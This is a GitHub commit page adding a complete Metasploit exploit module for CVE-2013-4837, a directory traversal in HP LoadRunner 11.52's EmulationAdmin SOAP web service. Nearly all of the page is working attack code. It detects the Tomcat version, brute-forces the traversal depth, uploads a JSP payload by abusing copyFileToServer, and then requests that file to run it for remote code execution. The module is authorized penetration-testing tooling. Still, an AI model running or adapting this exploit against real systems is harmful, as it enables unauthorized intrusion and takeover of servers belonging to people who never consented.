Skip to content

Commit 930a907

Browse files
committed
Land rapid7#2748 - HP LoadRunner EmulationAdmin Web Service Directory Traversal
2 parents ff9cb48 + 6ccbf1f commit 930a907

File tree

1 file changed

+267
-0
lines changed

1 file changed

+267
-0
lines changed
Lines changed: 267 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,267 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rexml/document'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] }
13+
14+
include REXML
15+
include Msf::Exploit::Remote::HttpClient
16+
include Msf::Exploit::FileDropper
17+
18+
def initialize(info = {})
19+
super(update_info(info,
20+
'Name' => 'HP LoadRunner EmulationAdmin Web Service Directory Traversal',
21+
'Description' => %q{
22+
This module exploits a directory traversal vulnerability on the version 11.52 of HP
23+
LoadRunner. The vulnerability exists on the EmulationAdmin web service, specifically
24+
in the copyFileToServer method, allowing to upload arbitrary files. This module has
25+
been tested successfully on HP LoadRunner 11.52 over Windows 2003 SP2.
26+
},
27+
'Author' =>
28+
[
29+
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
30+
'juan vazquez' # Metasploit module
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' =>
34+
[
35+
[ 'CVE', '2013-4837' ],
36+
[ 'OSVDB', '99231' ],
37+
[ 'BID', '63475' ],
38+
[ 'ZDI', '13-259' ],
39+
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03969437' ]
40+
],
41+
'Privileged' => true,
42+
'Platform' => 'win',
43+
'Arch' => ARCH_JAVA,
44+
'Targets' =>
45+
[
46+
[ 'HP LoadRunner 11.52', { } ],
47+
],
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'Oct 30 2013'))
50+
51+
register_options(
52+
[
53+
Opt::RPORT(8080),
54+
# By default files dropped into C:\windows\system32\null\
55+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 3 ]),
56+
# By default HP LoadRunner installed on C:\Program Files\HP\LoadRunner
57+
OptString.new('INSTALLPATH', [ true, 'HP LoadRunner Install Path (from the root folder)', "Program Files\\HP\\LoadRunner" ])
58+
], self.class)
59+
end
60+
61+
def get_soap_request(action, opts={})
62+
path_param = opts[:path]
63+
contents_param = opts[:contents]
64+
65+
se_name = ''
66+
case action
67+
when :upload
68+
se_name = 'ser:copyFileToServer'
69+
when :read
70+
se_name = 'ser:getFileContentAsLines'
71+
end
72+
73+
xml = Document.new
74+
xml.add_element(
75+
"soapenv:Envelope",
76+
{
77+
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
78+
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
79+
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
80+
'xmlns:ser' => "http://service.emulation.ws.mercury.com"
81+
})
82+
xml.root.add_element("soapenv:Header")
83+
xml.root.add_element("soapenv:Body")
84+
body = xml.root.elements[2]
85+
body.add_element(
86+
se_name,
87+
{
88+
'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
89+
})
90+
ser = body.elements[1]
91+
ser.add_element("in0", {'xsi:type' => 'xsd:int'})
92+
ser.elements['in0'].text = 30000 + rand(30000)
93+
ser.add_element("in1", {'xsi:type' => 'xsd:string'})
94+
ser.elements['in1'].text = path_param
95+
96+
if action == :upload
97+
ser.add_element("in2", {'xsi:type' => "xsd:base64Binary"})
98+
ser.elements['in2'].text = Rex::Text.encode_base64(contents_param)
99+
end
100+
101+
xml.to_s
102+
end
103+
104+
def check
105+
depth = datastore['DEPTH']
106+
install_path = datastore['INSTALLPATH']
107+
108+
print_status("#{peer} - Detecting tomcat version...")
109+
tomcat_version = get_tomcat_version
110+
111+
if tomcat_version
112+
print_status("#{peer} - Tomcat #{tomcat_version} detected... Verifying traversal...")
113+
location = ""
114+
location << install_path
115+
location << "\\" unless install_path.ends_with("\\") or install_path.ends_with("/")
116+
location << "apache-tomcat-#{tomcat_version}\\webapps\\ServiceEmulation"
117+
118+
res = read_file(depth, location, "index.jsp")
119+
120+
if res and res.code == 200 and res.body.to_s =~ /HP Service Emulation/
121+
print_good("#{peer} - Traversal exists and parameters are correct...")
122+
return Exploit::CheckCode::Vulnerable
123+
elsif res and res.code == 500 and res.body.to_s =~ /FileNotFoundException/
124+
print_warning("#{peer} - Traversal appears to exist, try adjusting parameters DEPTH and INSTALLPATH...")
125+
return Exploit::CheckCode::Appears
126+
else
127+
print_status("#{peer} - Failed to verify the directory traversal...")
128+
end
129+
else
130+
print_error("#{peer} - Tomcat version not detected...")
131+
end
132+
133+
print_status("#{peer} - Checking if the vulnerable web service and method exist...")
134+
res = send_request_cgi({
135+
'uri' => normalize_uri('ServiceEmulation', 'services', 'EmulationAdmin'),
136+
'vars_get' => { 'wsdl' => 1 }
137+
})
138+
139+
if res and res.code == 200 and res.body.to_s =~ /wsdl.*EmulationAdmin/ and res.body.to_s =~ /copyFileToServerRequest/
140+
return Exploit::CheckCode::Detected
141+
end
142+
143+
return Exploit::CheckCode::Safe
144+
end
145+
146+
def exploit
147+
depth = datastore['DEPTH']
148+
install_path = datastore['INSTALLPATH']
149+
150+
print_status("#{peer} - Retrieving the Tomcat version used...")
151+
tomcat_version = get_tomcat_version
152+
153+
if tomcat_version.nil?
154+
fail_with(Failure::NoTarget, "#{peer} - Failed to retrieve the Tomcat version used")
155+
else
156+
print_good("#{peer} - Tomcat #{tomcat_version} found")
157+
end
158+
159+
print_status("#{peer} - Verifying parameters to exploit the directory traversal...")
160+
brute_force = false
161+
location = ""
162+
location << install_path
163+
location << "\\" unless install_path.ends_with("\\") or install_path.ends_with("/")
164+
location << "apache-tomcat-#{tomcat_version}\\webapps\\ServiceEmulation"
165+
166+
res = read_file(depth, location, "index.jsp")
167+
168+
if res and res.code == 200 and res.body.to_s =~ /HP Service Emulation/
169+
print_good("#{peer} - Traversal parameters are correct")
170+
elsif res and res.code == 500 and res.body.to_s =~ /FileNotFoundException/
171+
print_error("#{peer} - Traversal parameters are incorrect, will try to brute force depth...")
172+
brute_force = true
173+
else
174+
fail_with(Failure::Unknown, "#{peer} - Unknown error while verifying the traversal parameters")
175+
end
176+
177+
if brute_force
178+
print_status("#{peer} - Trying to brute force the traversal depth...")
179+
depth = brute_force_depth(location)
180+
if depth.nil?
181+
fail_with(Failure::BadConfig, "#{peer} - Traversal parameters are incorrect, try setting DEPTH and INSTALLPATH")
182+
end
183+
print_good("#{peer} - Using #{depth} as depth length to exploit the traversal...")
184+
end
185+
186+
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
187+
188+
# It's uploading a JSP payload because AutoDeploy on the webapps directory isn't working on my tests
189+
print_status("#{peer} - Uploading the JSP payload...")
190+
res = upload_file(depth, location, jsp_name, payload.encoded)
191+
192+
if res and res.code == 200 and res.body.to_s =~ /copyFileToServerResponse/ and res.body.to_s !~ /faultcode/
193+
print_status("#{peer} - JSP payload uploaded successfully")
194+
register_files_for_cleanup("..\\..\\#{location}\\#{jsp_name}")
195+
else
196+
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
197+
end
198+
199+
print_status("#{peer} - Executing payload on #{normalize_uri('ServiceEmulation', 'services', 'EmulationAdmin', jsp_name)}...")
200+
201+
send_request_cgi({
202+
'uri' => normalize_uri('ServiceEmulation', jsp_name),
203+
'method' => 'GET'
204+
}, 1)
205+
end
206+
207+
def send_request_soap(soap_request)
208+
res = send_request_cgi({
209+
'uri' => normalize_uri(target_uri.path, 'ServiceEmulation', 'services', 'EmulationAdmin'),
210+
'method' => 'POST',
211+
'ctype' => 'text/xml; charset=UTF-8',
212+
'data' => soap_request,
213+
'headers' => {
214+
'SOAPAction' => '""',
215+
}
216+
})
217+
218+
return res
219+
end
220+
221+
def upload_file(traversal_depth, location, file_name, contents)
222+
path = "..\\" * traversal_depth
223+
path << location
224+
path << "\\" unless location[-1] == "/" or location[-1] == "\\"
225+
path << file_name
226+
227+
req = get_soap_request(:upload, {:path => path, :contents => contents})
228+
229+
return send_request_soap(req)
230+
end
231+
232+
def read_file(traversal_depth, location, file_name)
233+
path = "..\\" * traversal_depth
234+
path << location
235+
path << "\\" unless location[-1] == "/" or location[-1] == "\\"
236+
path << file_name
237+
238+
req = get_soap_request(:read, {:path => path})
239+
240+
return send_request_soap(req)
241+
end
242+
243+
def brute_force_depth(location)
244+
10.times do |i|
245+
res = read_file(i, location, "index.jsp")
246+
247+
if res and res.code == 200 and res.body.to_s =~ /HP Service Emulation/
248+
return i
249+
end
250+
end
251+
252+
return nil
253+
end
254+
255+
def get_tomcat_version
256+
res = send_request_cgi({
257+
'uri' => normalize_uri('webdav')
258+
})
259+
260+
if res and res.code == 200 and res.body.to_s =~ /Apache Tomcat\/([\d\.]+)/
261+
return $1
262+
end
263+
264+
return nil
265+
end
266+
267+
end

0 commit comments

Comments
 (0)